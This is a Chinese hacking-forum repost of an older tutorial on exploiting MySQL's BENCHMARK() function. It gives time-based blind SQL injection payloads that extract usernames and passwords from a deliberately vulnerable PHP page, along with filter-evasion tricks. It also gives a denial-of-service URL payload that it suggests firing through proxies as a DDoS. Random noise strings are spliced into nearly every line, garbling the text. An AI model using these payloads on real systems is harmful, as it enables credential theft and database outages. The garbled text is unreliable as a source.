找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2185|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 8 U$ k3 l7 ?% y  g" `. Z7 q) F
本文作者:SuperHei
( K2 N& m0 |9 ^3 B3 k: J7 h文章性质:原创; j3 z' s' ~% P3 j' v# i
发布日期:2005-01-02# Q* \) j) N. p% }9 P6 Y6 _5 y
完成日期:2004-07-09 , d; P4 E# s4 ]6 ?# p
第一部, k7 N! E# i) H4 {+ Q

6 p: x$ b- A, k+ ]- Q, @6 t利用时间推延进行注射---BENCHMARK函数在注射中的利用
7 E" L* D) b$ A; t5 ]
* k& U* w( [; `# `一.前言/思路# r8 u/ c+ t9 W9 S# i9 I

4 c8 R7 Q+ `, a5 N9 O3 X: M  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
2 n9 I8 J3 K/ k4 x0 ?' }- ]# ~
$ `- j& ^3 a, b# G  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。- c- u& n( m: X" ?- `$ y9 Z
0 d1 Y- q( K  u; R% ?4 o3 \
二.关于BENCHMARK函数
# w( z& J: d+ x- @/ h
5 B3 a# [( G" c9 f  在MySQL参考手册里可以看到如下描叙:   f7 k7 V0 f9 i, `$ i* @# f; K

8 [  l& k8 ^+ G; p, O' K; s) y% c0 _- G) O
--------------------------------------------------------------------------------# L! I; l) D' P& l

( H3 [- _7 g. u5 G6 x% HBENCHMARK(count,expr)
2 ]+ ^  |6 g, i. P* ]BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
5 I. N0 I% p! D0 R9 _! C- g# Kmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
9 d# A6 p  Z6 ?7 X8 s+----------------------------------------------+ 7 {- q& d/ n% J  q
| BENCHMARK(1000000,encode("hello","goodbye")) | 4 F; }6 b, {) j2 k$ f
+----------------------------------------------+
6 B$ Q0 @- J+ b% `| 0 |
6 d2 D0 C5 m% h- c# @1 s' {+----------------------------------------------+
2 R7 h) O( W) C- C9 W: H8 D6 q1 row in set (4.74 sec)
0 q+ Q6 N! D! d& ?3 l& v  J
# r4 q; f. s" Q5 N( j8 G报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。! [: Z- h1 V. Y% w- h5 X7 a, {
: Y0 ^: s1 g! g$ k) L
% K  l" z7 \& |* o% N2 W% D
--------------------------------------------------------------------------------; S( R3 _+ T& c- G( R, b& p

4 e" O- m; s1 l9 \- B" |  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: $ \' N" F# N/ b

  G3 B' n0 X$ I6 v6 [mysql> select md5( 'test' );
# q4 Y4 G; [' }% W. M+----------------------------------+ 0 ?8 U! G8 r4 a  u7 q. A: ?4 N
| md5( 'test' ) |
1 n/ t7 f5 @  G$ f+----------------------------------+
/ j5 q! q' p9 p5 G& K. V6 v+ s" B| 098f6bcd4621d373cade4e832627b4f6 | ( \; a* r1 }$ q  G4 w
+----------------------------------+
6 ~5 Y: i2 S" ?6 R/ E0 y1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
0 Q( p) u+ p* E' h& x/ h& Z' y$ `; ?4 x* g
mysql> select benchmark( 500000, md5( 'test' ) ); 5 Q" }: ]1 p1 z5 H8 ?8 k
+------------------------------------+
. `$ z; y) m& ]2 ?1 a  x# D| benchmark( 500000, md5( 'test' ) ) |
8 E; [: ~6 |3 w$ T* \* K+------------------------------------+ 6 J' q) }' r# o, }; o
| 0 | 9 m- h$ J4 A9 F+ v! l
+------------------------------------+ . {. n' B- F, n% K8 S
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
* k# j; G+ [0 y2 H0 ^" o+ Z # _* D9 B) K+ g' w5 @; _2 m

: P. u$ K- n" c1 J  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 2 T9 |9 C+ G' Y) K& j3 b3 g
+ S0 v0 S' m1 z
三.具体例子: q) K3 F. Z) ^( c7 \% Y
8 Y; A9 C# w: M7 B  c/ v: J
  首先我们看个简单的php代码:
6 H! B% u: {( \6 g& i$ ?1 [. u2 y% Y8 X9 s; f7 R
< ?php
' {* n# E6 T0 c4 }$servername = "localhost"; , K. U, x  A1 N2 q" o+ E7 n) _9 W
$dbusername = "root"; ' {# E. [: s. f" K* x
$dbpassword = ""; 5 A2 I' i; g' a( c1 w+ L
$dbname = "injection"; $ m0 j: c0 D& X+ U  [0 p$ C) z

: N7 b0 i, r$ a4 _* omysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 0 j1 M: C* h% v% Y5 V) m* S

% u1 P* P' S* E9 x$sql = "SELECT * FROM article WHERE articleid=$id";
; J4 u! [0 _8 W$result = mysql_db_query($dbname,$sql);
* W9 H7 ~) o% |$row = mysql_fetch_array($result);
/ C% Z- A" g% O: n- V, I# r5 ^. h% Z3 }$ v6 q- E# l! T
if (!$row)
8 [( q2 a- R' _% @0 a{ ! i9 c! R' ^6 w* n% P$ ~. q+ r
exit;
( U2 m2 t, }% t" x  f} . J+ Y- E6 B2 l& }( N* v# _9 v
?>
7 n9 E" d( y" H- F) p* p 6 e6 Y% z0 f7 E0 d) Y

* V0 b1 Z8 G$ T7 f8 w1 r5 L  数据库injection结构和内容如下:+ w% o# V& V% B. l- R

9 J2 _8 B" F; z9 D# 数据库 : `injection` . b# p8 l- W3 W4 i
# ' x8 l& ?! Y; e, I; S8 z/ H

$ i7 n: N; C* M- p# --------------------------------------------------------   Q! e8 P. D( V- U( ]

# o; G9 h9 G4 o0 p8 k1 r#
* A7 _2 b) w# [# U* r# 表的结构 `article`
" u2 |, }6 ?8 B4 f) Q#
- \) m1 S& [# ?: m5 ]
# x; q/ |; S* Z7 Y  Y( \CREATE TABLE `article` ( 4 y  \" r% ?; V) x/ B2 F- o: S
`articleid` int(11) NOT NULL auto_increment, 5 M1 x" C! ^; d
`title` varchar(100) NOT NULL default '',   ]# x0 N/ m% t3 k# l
`content` text NOT NULL, : f6 I& n, M7 B  I9 m: t9 Z6 f
PRIMARY KEY (`articleid`) 9 z' d9 J0 O" p6 X% B
) TYPE=MyISAM AUTO_INCREMENT=3 ;
! U7 {/ \6 ^2 M2 B" e( j0 k0 ]
8 h& b0 ^: i- N/ F) [1 f9 J#
3 B- t8 T; o6 u7 `/ f& n* t: p4 c& @# 导出表中的数据 `article`
- w, p" {! v& v) Y2 W8 Y" {# * H# y6 X  Q$ i" }
! t/ ~* G. n% D: c" |3 a: I5 ?
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); . E+ a) f) K! c) Y6 @
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
1 n6 W. S$ z" i5 P$ ~* e$ P$ e5 r7 E3 r
# --------------------------------------------------------
, H2 h  j- h7 ^! D/ U
# e+ @' e9 I3 C$ k# 9 g7 }4 r) E  J1 _# F4 w
# 表的结构 `user` 2 z- i4 W+ O: u% o6 |& C$ v
# 1 m  x2 C! ]/ u8 k
+ M9 e- A: A( O2 Y( |
CREATE TABLE `user` ( * Q/ a# G  i7 w6 M, I- Q, h
`userid` int(11) NOT NULL auto_increment, ; U; P9 c3 [* r7 Z1 F. V* G+ H
`username` varchar(20) NOT NULL default '', : |* h. ], g' @  m
`password` varchar(20) NOT NULL default '',
3 P2 U9 z3 K( u; f" }% PPRIMARY KEY (`userid`)
( c' T# i4 \% H/ j2 L  g) TYPE=MyISAM AUTO_INCREMENT=3 ; ( z* e5 _( d: z: A; `' N
1 G) {0 ]- t% ~, r
# 4 N4 {: j4 u/ l/ H0 j: i
# 导出表中的数据 `user` 3 g- {3 U0 o9 n1 _, m
#
6 x( ]( x6 P6 `- X
9 x4 c+ ?; a" a/ MINSERT INTO `user` VALUES (1, 'angel', 'mypass'); ; Z# W; z- g& P( r* A3 b+ ?
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');) F: J& D) [& S5 c& _
( a; L0 L- r) V) `, W9 m
) e" Z- {0 P8 g4 _/ P! C3 S
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:5 H* _4 k# Y7 z' \6 b
, p5 u  @- Z+ [2 c
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*" e; r- P/ h" t# B4 x( D

9 K1 p/ o1 a0 D- Q; l3 C3 m- b1 M' ~" i
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
% f& I3 z: Z7 S: o) a" c, ?
& k+ I7 V6 J$ o4 mhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
! \  h0 H! {3 C( q: x' k# L8 T. h $ J3 o' m8 n. H, C& V" w
) B# M6 e; a6 ^/ s4 ]& w6 W2 N8 a( J: d
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 ( t3 z& x1 Q4 @9 u
2 [$ s( }# A( w9 D1 O5 M
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
$ \" [: F9 N% T1 \" t1 Z4 M) d9 U$ N4 _4 D2 R5 b) T
第二部. B& Y! K. m( y' k5 ~
/ o3 M, F3 C" ]9 }+ S
利用BENCHMARK函数进行ddos攻击 $ p( i4 R/ M  i3 E: A  O' o

* I# o$ T7 P" Q8 n* e* T1 {; n  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:( W! _" a7 [4 w

' R; M$ T2 C/ t, Q0 d- uhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
; }' T( B4 k/ V8 `: w9 j* a # l5 w/ a- h% G' X% Q% U- J
% B% C8 Z+ a3 n" w6 S
小结. i* Z. l. p9 g- S

' w0 n/ V& T( V- ]) D+ v. t  |  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。& M2 N+ ^& L5 U& L! P8 N

/ p4 ]+ c+ g7 @% w! @' b. X  
# f- Y# `! Z; H2 g& i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表